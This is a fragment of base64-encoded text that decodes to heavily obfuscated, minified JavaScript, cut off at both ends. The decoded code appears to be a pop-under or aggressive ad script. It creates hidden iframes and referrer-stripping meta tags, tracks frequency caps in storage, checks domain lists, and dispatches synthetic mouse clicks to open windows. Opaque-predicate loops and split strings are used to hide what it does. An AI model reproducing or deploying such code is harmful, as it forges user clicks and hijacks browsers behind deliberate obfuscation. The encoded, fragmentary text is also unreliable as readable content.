Z3RoLDYyNDUzKSE9PVkxKXtzW0VjJUdyLWJhXShlW0hpXSxlW3BdKTtzW2RhJUdyKmJhXShlW29jXSxlW0thXSk7c1tFaV1bWl0odCk7cihzKTt9c1tFYytHcitiYV0oZVtIaV0sZVtwXSk7c1tkYStHcitiYV0oZVtvY10sZVtLYV0pO3NbRWldW1pdKHQpO3Iocyk7fX0pO31jYXRjaCh0KXt9fX0pO1FjLnJlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5yZVtYdF09WmMueShRYy5uZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG8scztzPVpjLk8oZ3UpO2l1LksoeSxibyxmdW5jdGlvbigpe1pjLlAocyk7b1tFaV1bWl0odCk7cihvKTt9KTt3NS5vNCg0KTtvPXRoaXMudmUodzUuYzQoVWEsVnQsY2kpLEZpKTtzW3RvK0dyK3lhXVttcl1bcnJdKHRoaXMuRmUoKVsxXVtQbitHcithaStHcit4YytHcit6dCtHcitwYV0pO319KTtRYy5pZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuaWVbWHRdPVpjLnkoUWMudGVbWHRdLHtMZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47aT10aGlzO249eXU7dzUubzQoNCk7ZT10aGlzLnZlKHc1LmM0KFVhLFZ0LGNpKSx0Lnd0fHxGaSx0LkJlfHxHcik7dC56ZSYmKGUmJmVbSW9dKCksbj1ndSk7IW4mJmUmJmlvKGZ1bmN0aW9uKCl7ZVtFaV1bdW5dPXQueHQ7dC5JZSYmaS5JZShlKTt9LDEwMCk7fSx1ZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47bj10aGlzO3RoaXMuamU9ZHJbTW5dKCk7dGhpcy5mZT10O2U9R2Mud2UoKTt3NS5vNCgxNSk7aT1aYy5CKGUsdzUuYzQoZ3QsR3IseGMsR3IsR3IsRmMseGMsR3IsZmMsR3IsVnIpKTsoZVtTYytHcittY109PT1PbiYmZVthYStHcitHaV0oanIpIT09RmkmJiFaYy5TKGUpfHxpJiYhWmMuUyhpKSkmJih0aGlzLmhlPWd1KTtpdS5YKHksSWUsZnVuY3Rpb24gdChlKXt0cnl7ZVtpZV0uamU9PT1uLmplJiZuLkxlKGVbaWVdKTtlW2llXS56ZSYmaXUuWih5LEllLHQpO31jYXRjaCh0KXt9fSk7fSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3RoaXMuSWU9cjt0aGlzLk1lKHtqZTp0aGlzLmplLEJlOm4sSWU6Z3UseHQ6dH0pO3RoaXMuTWUoe2plOnRoaXMuamUsemU6Z3UseHQ6VWErVnQrY2l9KTt9LGhlOnl1LE1lOmZ1bmN0aW9uKHQpe3lbSnQrR3IrWF0odCx5W0VpXVtSb10pO319KTtHYz17X2k6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5RaSgpK3RoaXMuSGkoKT5aYy5HKCk7fSxLaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm10LkplO30sSmU6ZnVuY3Rpb24oKXt2YXIgdDt0PVpjLngoYXJndW1lbnRzWzBdKT9hcmd1bWVudHNbMF06YXJndW1lbnRzO3JldHVybiB0aGlzLm5uKHQsUm4sdFtwaV0mJnRbMF09PT15dSk7fSxraTpmdW5jdGlvbih0LGUsaSxuKXt0aGlzLk9pKGksdCxndSl8fG4oZ3UseXUpO30sV2k6ZnVuY3Rpb24odCl7dHJ5e3JldHVybiB0W3F0XSYmMCE9PXRbcXRdfHx0aGlzLmNpLkcrMTUwPlpjLkcoKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LFJpOmZ1bmN0aW9uKCl7dGhpcy5XZT1bXTt9LFlpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQucWU7fSxVaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLldlO30sWmU6bXUsVGk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHx0aGlzLnFpKHQpKXtyZXR1cm4geXU7fWlmKCF0aGlzLm10LnFlW3BpXXx8dFthYStHcitHaV0obG8pPT09ZnUpe3JldHVybiBndTt9Zm9yKDtlPHRoaXMubXQucWVbcGldO2UrKylpZih0PT09dGhpcy5tdC5xZVtlXXx8dHlwZW9mIHRoaXMubXQucWVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5xZVtlXVtYcytHcitwcitHcituY10oKXx8WmMuSSh0LHRoaXMubXQucWVbZV0pKXx8WmMuQih0LHRoaXMubXQucWVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LHdlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMueGUuUXQ7fSxMaTpmdW5jdGlvbigpe3ZhciB0LGU7ZT10aGlzO3RoaXMuWmU9WmMueihoYyx7c3R5bGU6b2MrVnQrRnIrSGErR3IrZXIrS2ErVnQrRnIrSGErR3IrZXIrRGErVnQrSXMrZXIrcCtWdCt6bitlcitIaStWdCt6bitlcitzbit3aStMK1Z0K25vK2VyK3h0K1Z0K1hpK2VyK0dyfSxHcik7dD1DbyhmdW5jdGlvbigpe3ZhciBpO2k9cmlbUXJdO2kmJihHcyh0KSxpW0l0K0dyK1dlXShlLlplKSk7fSwxMDApO30saGk6ZnVuY3Rpb24oKXt2YXIgTjksYTksWTksdCxlLGk7Tjk9LTUxNTA4MTc1NzthOT0tMTMwNjg1MTEzNztZOT0yO2Zvcih2YXIgczk9MTt3NS5kMShzOS50b1N0cmluZygpLHM5LnRvU3RyaW5nKCkubGVuZ3RoLDEwMDExKSE9PU45O3M5Kyspe1k5Kz0yO31pZih3NS5MMShZOS50b1N0cmluZygpLFk5LnRvU3RyaW5nKCkubGVuZ3RoLDQ1MzQ0KSE9PWE5KXt9aT10aGlzLlhlLm9pO2Zvcih0PTA7dDx0aGlzLmZpW3BpXSYmKCF0aGlzLnBpKCkmJiF0aGlzLl9pKCkpO3QrKyl7aWYoZT10aGlzLmZpW3RdLHRoaXMuWGUuc2krKyx0aGlzLlhlLm9pPVpjLkcoKSx0aGlzLmxpKGUpPT09eXUpe3JldHVybiB0aGlzLlhlLnNpLS0sdm9pZCh0aGlzLlhlLm9pPWkpO31pPXRoaXMuWGUub2k7ZXUuYShodSx0aGlzLlhlLm9pKTtlLnl0PT09bHUmJmV1LmEodXUsdGhpcy5YZS5zaSk7fX0sT2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBuLHIsbyxzO3c1Lm80KDQpO289dzUuYzQoR3IsVHQsR3IpO3c1Llk0KDIpO3M9dzUuYzQobyx0KTtmb3Iobj0wO248ZVtwaV07bisrKWlmKHI9KEdyK090K0dyK1R0K0dyKVtMK0dyK1dhXShlW25dWzBdKT4tMT9lW25dOm8rZVtuXSxzW2ZzXShzW3BpXS1yW3BpXSk9PT1yfHxpJiZyPT09d3Upe3JldHVybiBndTt9cmV0dXJuIHl1O30sZW46ZnVuY3Rpb24odCxlKXt2YXIgTDAsZDAsTzAsaSxuO0wwPTEyMjU5MjUxNjQ7ZDA9LTc2NDA0NzIyNjtPMD0yO2Zvcih2YXIgQzA9MTt3NS5MMShDMC50b1N0cmluZygpLEMwLnRvU3RyaW5nKCkubGVuZ3RoLDk4MzQ3KSE9PUwwO0MwKyspe08wKz0yO31pZih3NS5MMShPMC50b1N0cmluZygpLE8wLnRvU3RyaW5nKCkubGVuZ3RoLDg1NTk4KSE9PWQwKXt9aT10aGlzO249dGhpcy50bih0LGUpO3RoaXMuV2VbTXJdKG4pO3RoaXMuRGkobik7dGhpcy5pbnx8KEdjLkNpKCksZnVuY3Rpb24oKXt2YXIgdCxlO1hjLmImJigoZT1yaVtVcytHcitDbl0oaGMpKVtSYytHcitpdF0oVmEsZnVuY3Rpb24oKXtDdT1ndTt9KSxDdT1vNSx0PUNvKGZ1bmN0aW9uKCl7aWYoQ3U9eXUsIWkubXQuUmUpe2lmKHR5cGVvZiB5W3dzXSE9PWFyfHx0eXBlb2YgeVt3c11bT29dIT09WnMpe3JldHVybiBDdT1vNSx2b2lkIEdzKHQpO315W3dzXVtPb10oZSk7eVt3c11bTWldKCk7fX0sNTAwKSk7fSgpLHRoaXMuaW49bzUpO30sUGk6ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMuSmkoKSx0P3RoaXMuZmlbcGldOnRoaXMuZmlbcGldPjA7fSx2aTpmdW5jdGlvbigpe3ZhciB0LGU7dD1aYy5HKCk7ZT1aYy5HKGF1KTt3NS5ZNCgxNik7dGhpcy5YZS5yaT13NS5jNChlLHQsMzE1MzYwMDAwMDApO3RoaXMuWGUucmkmJih0aGlzLmxpPWt1KTt9LEJpOmZ1bmN0aW9uKCl7dmFyIHQ7dD1VYyhldS5jKGh1KSwxMCk7cWModCkmJih0PTApO3RoaXMuWGUub2k9dDt9LENlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMuTih0KTtyZXR1cm4gZSYmIXRoaXMubXQuTmUmJlpjLlModCk/eXU6ZTt9LGp0OmZ1bmN0aW9uKHQpe3ZhciBlLGksbjtlPXR5cGVvZiB0PT09Z2U/Z3U6ISF0O3c1Lm80KDIpO2k9dzUuYzQocnUsSSk7bj1yaVthYStHcitDbitHcitpaStHcit0bl0oaSk7ZT9ufHwobj1aYy56KERvLHtjb250ZW50OkljK3dpK2lhLG5hbWU6aWEsaWQ6aX0pLHJpW2FhK0dyK1JlK0dyK2lpK0dyK1JpK0dyK21jXShvKVswXVtJdCtHcitXZV0obikpOm4mJlpjLlAobik7fSxHaTpmdW5jdGlvbigpe3RoaXMuWGUuaWk9Z3U7dGhpcy5oaT1rdTt9LEp0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQuRGU7fSx5aTpmdW5jdGlvbih0LGUsaSxuLHIpe2Zvcih2YXIgbyxzPTA7czxlJiYobz10W3NdLCEoMT09PW4mJihyKGlbcytlXSx0W3NdKmlbc10rcysoaVtzXT4+cyszKSl8fHIoaVtzKzIqZV0sdFtzXSoodFswXSt0WzFdK3RbMl0pKyhpW3NdPDxzKSl8fHIoaVtzKzMqZV0sZHJbQWNdKHRbMF0qdFsxXSp0WzJdL28pK28rKGlbc10+PnMpKSl8fG48MSYmKHIoaVtzK2VdLHRbc10qaVtzXStzKXx8cihpW3MrMiplXSx0W3NdKih0WzBdK3RbMV0rdFsyXSkpfHxyKGlbcyszKmVdLGRyW0FjXSh0WzBdKnRbMV0qdFsyXS9vKStvKSkpKTtzKyspO30scWk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHwhdGhpcy5tdC5KZVtwaV0pe3JldHVybiB5dTt9Zm9yKDtlPHRoaXMubXQuSmVbcGldO2UrKylpZih0PT09dGhpcy5tdC5KZVtlXXx8dHlwZW9mIHRoaXMubXQuSmVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5KZVtlXXx8WmMuSSh0LHRoaXMubXQuSmVbZV0pKXx8WmMuQih0LHRoaXMubXQuSmVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LGNpOnt1aTp7fSxHOjB9LEhpOmZ1bmN0aW9uKCl7cmV0dXJuIFhjLm90P2RyW0JvXSh0aGlzLm10LlZlLDFlMyk6WGMuYnx8WGMuZ3x8WGMuY3R8fFhjLnV0JiYhWGMuZXQ/ZHJbQm9dKHRoaXMubXQuVmUsMjAwKTp0aGlzLm10LlZlO30sRWU6ZnVuY3Rpb24odCl7dmFyIGUsWjcsdDcsVTc7Wjc9LTEyNTc1NDEyNDI7dDc9MTMwMDY1ODcyMDtVNz0yO2Zvcih2YXIgejc9MTt3NS5MMSh6Ny50b1N0cmluZygpLHo3LnRvU3RyaW5nKCkubGVuZ3RoLDgzNTc3KSE9PVo3O3o3Kyspe2U9dHx8dGhpcy5jaS51aTtVNys9Mjt9aWYodzUuZDEoVTcudG9TdHJpbmcoKSxVNy50b1N0cmluZygpLmxlbmd0aCwzMDU1KSE9PXQ3KXtlPXQmJnRoaXMuY2kudWk7fXRyeXtlW01vK0dyK25pXSYmZVtNbytHcituaV0oKTtlW3FlK0dyK19zXSYmZVtxZStHcitfc10oKTt3NS5vNCg0KTtlW3c1LmM0KE5yLEdyLGNvKV09eXU7dzUubzQoNCk7ZVt3NS51NChtcyxHcixIcildPWd1O31jYXRjaCh0KXt9fSxpOmZ1bmN0aW9uKCl7dmFyIE8xLEcxLEMxO08xPS0xMzAyMzI0NTE3O0cxPTg4ODY0MDYzMDtDMT0yO2Zvcih2YXIgbjE9MTt3NS5kMShuMS50b1N0cmluZygpLG4xLnRvU3RyaW5nKCkubGVuZ3RoLDU5MTU1KSE9PU8xO24xKyspe3JldHVybiB0aGlzLm10LlVlfHx0aGlzLm10LkRlO0MxKz0yO31pZih3NS5MMShDMS50b1N0cmluZygpLEMxLnRvU3RyaW5nKCkubGVuZ3RoLDIzODAyKSE9PUcxKXtyZXR1cm4gdGhpcy5tdC5VZSYmdGhpcy5tdC5EZTt9fSxwaTpmdW5jdGlvbigpe3ZhciBoNyxpNyxMNztoNz0tMTUxMTEyMzE1NDtpNz0tMTY3MjAwNTI5NjtMNz0yO2Zvcih2YXIgTzc9MTt3NS5kMShPNy50b1N0cmluZygpLE83LnRvU3RyaW5nKCkubGVuZ3RoLDMyNTMzKSE9PWg3O083Kyspe3JldHVybiB0aGlzLiRpKCk8dGhpcy5tdC5IZTtMNys9Mjt9aWYodzUuTDEoTDcudG9TdHJpbmcoKSxMNy50b1N0cmluZygpLmxlbmd0aCwxOTk5KSE9PWk3KXtyZXR1cm4gdGhpcy4kaSgpPj10aGlzLm10LkhlO319LGdpOmZ1bmN0aW9uKHQsZSxpLG4scil7Zm9yKHZhciBvLHM9MDtzPGUmJihvPXRbc10sISgxPT09biYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzErKGlbc108PGlbc10lMTApLGlbZStzXSl8fHIob1trZStHcitucytHcitCaV0ob1twaV0tMSkqaVtzXSoyK3MrKGlbc10+PnMpLGlbMiplK3NdKXx8cihvW3BpXSppW3NdKjMrKGlbc108PHMpLGlbMyplK3NdKSl8fG48MSYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzEsaVtlK3NdKXx8cihvW2tlK0dyK25zK0dyK0JpXShvW3BpXS0xKSppW3NdKjIrcyxpWzIqZStzXSl8fHIob1twaV0qaVtzXSozLGlbMyplK3NdKSkpKTtzKyspO30sV2U6W10sdG46ZnVuY3Rpb24odCxlKXtyZXR1cm4gbmV3IFljKHRoaXMuV2VbcGldLHQsZSk7fSxBaTpmdW5jdGlvbih0KXt0aGlzLmNpLnVpPXQ7dGhpcy5jaS5HPVpjLkcoKTt9LGFpOltdLE1pOmZ1bmN0aW9uKHQpe3JldHVybiBudS5YdCh0KSx0aGlzO30sWmk6ZnVuY3Rpb24oKXtyZXR1cm4gWmMucChbW1RyLHRoaXMubXQuRGVdLFtvaSx0aGlzLm10LlVlXSxbd3QsdGhpcy5tdC5SZV0sW0xyK0dyK3plLHRoaXMubXQuT2VdLFtSbitHcitFbix0aGlzLm10Lk5lXSxbRHQsdGhpcy5tdC5IZV0sW2xjK0dyK2JhLHRoaXMubXQucWVdLFtSbitHcitiYSx0aGlzLm10LkplXSxbUW4sdGhpcy5tdC5WZV0sW3crR3IrVix0aGlzLm10LiRlXSxbdytHcitEbix0aGlzLm10LlFlXSxbcG4rR3IrdHIrR3IrTG4sdGhpcy5tdC5HZV0sW0JzK0dyK2wrR3IrU3MsdGhpcy5tdC4kdF0sW05zK0dyKyRyLHRoaXMubXQuWWVdLFtJYytHcitwYytHcitfaSx0aGlzLm10LmJlXSxbTHMrR3IrYnQsdGhpcy5tdC5LZV0sW0IrR3IrdmUrR3IrX28rR3IreW4rR3IrTG4sdGhpcy5tdC5QZV1dKTt9LFRlOmZ1bmN0aW9uKHQpe3ZhciBlLGk7aT1aYy5PKGd1KTtyZXR1cm4gZT1pW3RvK0dyK3lhXVttcl1bVXMrR3IrQ25dKGRlKSwwPT09eVtFaV1bdW5dW0wrR3IrV2FdKGorVnQrR3IpP2VbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPUdyKyhXcitZZStHcit3bitHcikrKGYrVHQrUytUdCthYStHcitaZStHcitRaStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKTplW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoV3IrWWUrR3Ird24rR3IpKyhZcitUdCtjYStHcitfZStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSxpW3RvK0dyK3lhXVttcl1bUXJdW0l0K0dyK1dlXShlKSx0eXBlb2YgdCE9PVd0JiZ0eXBlb2YgdCE9PWdlfHxpbyhmdW5jdGlvbigpe1pjLlAoaSk7fSx0fHw1MDApLGk7fSxOaTpmdW5jdGlvbigpe3ZhciBvMSx3MSxwMTtvMT0tMjExMjgyOTI0MDt3MT00MjIxODMwODI7cDE9Mjtmb3IodmFyIHEwPTE7dzUuZDEocTAudG9TdHJpbmcoKSxxMC50b1N0cmluZygpLmxlbmd0aCwzNTgxNCkhPT1vMTtxMCsrKXtmb3IodmFyIHQsZT02O2U8PXRoaXMuV2VbcGldO2UtLSl7dD10aGlzLldlW2VdO3R1LnUodC5tdC5idCk7fXRoaXMuWGUub2k9dGhpcy5YZS5zaT00O2V1LnUodXUpO2V1LnUoY3UpO2V1LnUoaHUpO3AxKz0yO31pZih3NS5MMShwMS50b1N0cmluZygpLHAxLnRvU3RyaW5nKCkubGVuZ3RoLDUxMjkxKSE9PXcxKXtmb3IodmFyIHQsZT0yO2U8dGhpcy5XZVtwaV07ZSsrKXt0PXRoaXMuV2VbZV07dHUudSh0Lm10LmJ0KTt9dGhpcy5YZS5vaT10aGlzLlhlLnNpPTM7ZXUudSh1dSk7ZXUudShjdSk7ZXUudShodSk7fWZvcih2YXIgdCxlPTA7ZTx0aGlzLldlW3BpXTtlKyspe3Q9dGhpcy5XZVtlXTt0dS51KHQubXQuYnQpO310aGlzLlhlLm9pPXRoaXMuWGUuc2k9MDtldS51KHV1KTtldS51KGN1KTtldS51KGh1KTt9LHppOmZ1bmN0aW9uKCl7dmFyIHQ7dD0wO3JldHVybiBldS5zKCk/KHQ9ZXUuYyh1dSksZXUudSh1dSkpOnR1LmModXUpJiYocmlbaWFdPT09UnRbdW5dfHx+UnRbdW5dW0wrR3IrV2FdKEdyK3NlK0dyK3R1LmMoY3UpKSkmJih0PXR1LmModXUpLGlvKGZ1bmN0aW9uKCl7dHUudSh1dSk7dHUudShjdSk7fSwzMDApKSx0PVVjKHQsMTApLHQ9cWModCk/MDp0LHRoaXMuWGUuc2k9dDt9LG10OntOZTpndSxLZTp5dSxKZTpbXSxWZTowLCR0OmJ1LCRlOltdLERlOnl1LE9lOkZ1LEhlOjk5OTksUmU6eXUscWU6W10sWWU6MTAsVWU6eXUsUWU6Z3UsUGU6eXUsYmU6eXUsR2U6Z3V9LCRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuWGUuc2k7fSxRaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLlhlLm9pO30sYmk6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhLGMsdSxuOSxGOSxnOTtzPXRoaXM7YT0wO2M9dGhpcy5YZTt1PWZ1bmN0aW9uKHQsZSl7dmFyIFA5LEo5LFg5O1A5PTMyNTI1NjI2O0o5PS05NTA1MjQwNDM7WDk9Mjtmb3IodmFyIFM5PTE7dzUuTDEoUzkudG9TdHJpbmcoKSxTOS50b1N0cmluZygpLmxlbmd0aCw0ODQ5MykhPT1QOTtTOSsrKXtyZXR1cm4gdD09PWV8fChjLm5pPWd1LHMubGk9a3UpLHQhPWU7WDkrPTI7fWlmKHc1LkwxKFg5LnRvU3RyaW5nKCksWDkudG9TdHJpbmcoKS5sZW5ndGgsNTM4MDApIT09Sjkpe3JldHVybiB0IT09ZSYmKGMubmk9Z3Uscy5saT1rdSksdCE9PWU7fX07aWYodHlwZW9mIHlbcnVdW2FyXSE9PWdlKXtjLm5pPW11O3Q9eVtydV1bYXJdW1huXSgpO2U9eVtydV1bYXJdW1huXSgpO2k9eVtydV1bYXJdW1huXSgpO249eVtydV1bYXJdW1huXSgpO3I9WmMuRigoeVtydV1bYXJdW1huXSgpfHx7c3JjOm51bGx9KVtYcl0pO289WmMuRih4dVtYcl0pO3RyeXtuOT0xNDUwNjEyMjI1O0Y5PS01NjY0Nzc2Nzc7Zzk9Mjtmb3IodmFyIFI5PTE7dzUuZDEoUjkudG9TdHJpbmcoKSxSOS50b1N0cmluZygpLmxlbmd0aCwyODY5NSkhPT1uOTtSOSsrKXthPXlbcnVdW2FyXVtYbl0oKSYmNztnOSs9Mjt9aWYodzUuZDEoZzkudG9TdHJpbmcoKSxnOS50b1N0cmluZygpLmxlbmd0aCwzODQzOCkhPT1GOSl7YT15W3J1XVthcl1bWG5dKCkmJjc7fWE9eVtydV1bYXJdW1huXSgpfHwwO31jYXRjaCh0KXt9YT1kcltCb10oMCxkcltrYV0oMSxhKSk7dGhpcy5taSh0LG8scix1KTt0aGlzLmdpKHQsdFtwaV0sZSxhLHUpO3RoaXMueWkoaSxpW3BpXSxuLGEsdSk7dGhpcy5raSh0LHRbcGldLFpjLkYoKSx1LHUpO3RoaXMud2koaSxaYy5HKCkpO2Mubmk9PT1tdSYmKGMubmk9eXUpO31jLnhpPWF8fDA7fSxFaTpmdW5jdGlvbih0LGUpe3ZhciBkOSxPOSxHOTtkOT04MzA2MTMyMTE7Tzk9MTQwNDM5MjY4MztHOT0yO2Zvcih2YXIgazk9MTt3NS5kMShrOS50b1N0cmluZygpLGs5LnRvU3RyaW5nKCkubGVuZ3RoLDE2MDEwKSE9PWQ5O2s5Kyspe3RoaXMueGUuUXQ9dDt0aGlzLnhlLlM9ZTtHOSs9Mjt9aWYodzUuZDEoRzkudG9TdHJpbmcoKSxHOS50b1N0cmluZygpLmxlbmd0aCw3Njg2OSkhPT1POSl7dGhpcy54ZS5RdD10O3RoaXMueGUuUz1lO319LFhpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbix1OSx5OSxIOTtuPXR8fHt9O2ZvcihlIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixlKSlzd2l0Y2godGhpcy5tdFtlXT1pPW5bZV0sZSl7Y2FzZSBUcjp0aGlzLm10LkRlPWk7YnJlYWs7Y2FzZSBvaTp0aGlzLm10LlVlPWk7YnJlYWs7Y2FzZSB3dDp0aGlzLm10LlJlPWk7YnJlYWs7Y2FzZSBMcitHcit6ZTp0aGlzLm10Lk9lPWk7YnJlYWs7Y2FzZSBSbitHcitFbjp0aGlzLm10Lk5lPWk7YnJlYWs7Y2FzZSBEdDp0aGlzLm10LkhlPWk7YnJlYWs7Y2FzZSBsYytHcitiYTp0aGlzLnFlW29hXSh0aGlzLGkpO2JyZWFrO2Nhc2UgUm4rR3IrYmE6dGhpcy5KZVtvYV0odGhpcyxpKTticmVhaztjYXNlIFFuOnRoaXMubXQuVmU9aTticmVhaztjYXNlIHcrR3IrVjp0aGlzLm10LiRlPWk7YnJlYWs7Y2FzZSB3K0dyK0RuOnRoaXMubXQuUWU9aTticmVhaztjYXNlIHBuK0dyK3RyK0dyK0xuOnRoaXMubXQuR2U9aTticmVhaztjYXNlIEJzK0dyK2wrR3IrU3M6dGhpcy5tdC4kdD1pO2JyZWFrO2Nhc2UgTnMrR3IrJHI6dGhpcy5tdC5ZZT1pO2JyZWFrO2Nhc2UgSWMrR3IrcGMrR3IrX2k6dGhpcy5tdC5iZT1pO2JyZWFrO2Nhc2UgTHMrR3IrYnQ6dGhpcy5tdC5LZT1pO2JyZWFrO2Nhc2UgQitHcit2ZStHcitfbytHcit5bitHcitMbjp0aGlzLm10LlBlPWk7fXU5PTE1MDY0OTg2ODA7eTk9NjExNzc3ODY1O0g5PTI7Zm9yKHZhciBUOT0xO3c1LkwxKFQ5LnRvU3RyaW5nKCksVDkudG9TdHJpbmcoKS5sZW5ndGgsNjMyMykhPT11OTtUOSsrKXtyZXR1cm4gdGhpcztIOSs9Mjt9aWYodzUuZDEoSDkudG9TdHJpbmcoKSxIOS50b1N0cmluZygpLmxlbmd0aCw2MzczOSkhPT15OSl7cmV0dXJuIHRoaXM7fX0saGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksZzcsTTcsUjc7Zzc9LTM5MDQ0MjA2O003PS0xNjI0Njc4MzI1O1I3PTI7Zm9yKHZhciBKNz0xO3c1LkwxKEo3LnRvU3RyaW5nKCksSjcudG9TdHJpbmcoKS5sZW5ndGgsNTI1MzkpIT09Zzc7SjcrKyl7ZT10aGlzLndlKCk7aT10aGlzLmNpLnVpO1I3Kz0yO31pZih3NS5MMShSNy50b1N0cmluZygpLFI3LnRvU3RyaW5nKCkubGVuZ3RoLDg0NzUzKSE9PU03KXtlPXRoaXMud2UoKTtpPXRoaXMuY2kudWk7fXRyeXsodD1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0oZ3MsZ3UsZ3UseSwxLGlbT2krR3IrVWVdLGlbT2krR3IreG9dLGlbSGMrR3IrVWVdLGlbSGMrR3IreG9dLHl1LHl1LHl1LHl1LDAsbXUpO3RbVW9dPWd1O2VbZ24rR3IrQ2FdKHQpO31jYXRjaCh0KXtLYy5lKHQpO319LFZpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuUGkobzUpO30sU2k6ZnVuY3Rpb24oKXt2YXIgdCxpLG4scixvLHM7cj10aGlzO289NTAwO3M9ZnVuY3Rpb24odCxlKXt2YXIgaSxuO249WGMuYj9lYzpnczsoaT1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0obixndSxndSx5LDEsZVtPaStHcitVZV0sZVtPaStHcit4b10sZVtIYytHcitVZV0sZVtIYytHcit4b10seXUseXUseXUseXUsMCxtdSk7aS5mYz1ndTt0W2duK0dyK0NhXShpKTt9O2l1LlgocmksJHQsZnVuY3Rpb24ocil7dmFyIG8sRjEsZzEsTTE7dzUubzQoNCk7bz1yW3c1LnU0KHNyLEdyLGUpXVswXTtGMT05NTkwNTM3NzY7ZzE9LTE3NzY2NDMwNTc7TTE9Mjtmb3IodmFyIFAxPTE7dzUuZDEoUDEudG9TdHJpbmcoKSxQMS50b1N0cmluZygpLmxlbmd0aCw4NTkzNCkhPT1GMTtQMSsrKXt3NS5vNCgxOCk7dD1yW3c1LnU0KG9zLEpzLEdyKV07dzUuWTQoMTkpO2k9b1t3NS51NChHcixmbyxVZSldO3c1Lm80KDIwKTtuPW9bdzUuYzQoeG8sZm8sR3IpXTtNMSs9Mjt9aWYodzUuTDEoTTEudG9TdHJpbmcoKSxNMS50b1N0cmluZygpLmxlbmd0aCwxMTM5OCkhPT1nMSl7dzUubzQoMjEpO3Q9clt3NS5jNChvcyxKcyxHcildO3c1Llk0KDIyKTtpPW9bdzUuYzQoR3IsVWUsZm8pXTt3NS5vNCg2KTtuPW9bdzUuYzQoR3IseG8sZm8pXTt9dzUubzQoNCk7dD1yW3c1LnU0KG9zLEdyLEpzKV07dzUuWTQoNCk7aT1vW3c1LmM0KGZvLEdyLFVlKV07dzUubzQoNCk7bj1vW3c1LnU0KGZvLEdyLHhvKV07fSxndSk7aXUuWChyaSx2LGZ1bmN0aW9uKGEpe3ZhciBjLHUsaCxTMCxOMCxhMDtTMD0xMTI5ODE1NDEyO04wPS00NTk2NDE3MTE7YTA9Mjtmb3IodmFyIGYwPTE7dzUuZDEoZjAudG9TdHJpbmcoKSxmMC50b1N0cmluZygpLmxlbmd0aCw5MDQxMCkhPT1TMDtmMCsrKXt3NS5vNCg0KTtjPWFbdzUuYzQoc3IsR3IsZSldWzBdO3U9aXUudHQoYSk7aD1yLm10LlllO2EwKz0yO31pZih3NS5MMShhMC50b1N0cmluZygpLGEwLnRvU3RyaW5nKCkubGVuZ3RoLDUxODk1KSE9PU4wKXt3NS5ZNCg2KTtjPWFbdzUudTQoR3IsZSxzcildWzRdO3U9aXUudHQoYSk7aD1yLm10LlllO31kcltGc10oY1tmbytHcitVZV0taSk+PWh8fGRyW0ZzXShjW2ZvK0dyK3hvXS1uKT49aHx8YVtvcytHcitKc10tdD5vfHxyLm10LlllPD0wfHxYYy5odCYmRGlbaXJdKHVbU2MrR3IrbWNdKXx8ci5YZS5paXx8ci5YZS5uaXx8ci5YZS5yaXx8ci5waSgpfHxyLl9pKCl8fCFyLlBpKCl8fCFyLlRpKHUpfHwhci5tdC5OZSYmWmMuUyh1KXx8KHVbU2MrR3IrbWNdPT09T24mJnIuRWUoYSkscyh1LGMpKTt9LGd1KTt9LG1pOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByLG87bz15dTtmb3Iocj0wO3I8dFtwaV07cisrKWlmKHRbcl09PT13dSl7bz1ndTticmVhazt9byYmKGV8fGkpJiYoIXRoaXMuT2koZSx0KXx8IXRoaXMuT2koaSx0KXx8eVtydV1bdW5dJiZ5W3J1XVt1bl1bcGldJiYhdGhpcy5PaShaYy5GKCkseVtydV1bdW5dKSkmJm4oZ3UseXUpO30seGU6e1F0Om11LFM6eXV9LHFlOmZ1bmN0aW9uKCl7dmFyIHQ7dD1aYy54KGFyZ3VtZW50c1swXSk/YXJndW1lbnRzWzBdOmFyZ3VtZW50cztyZXR1cm4gdGhpcy5ubih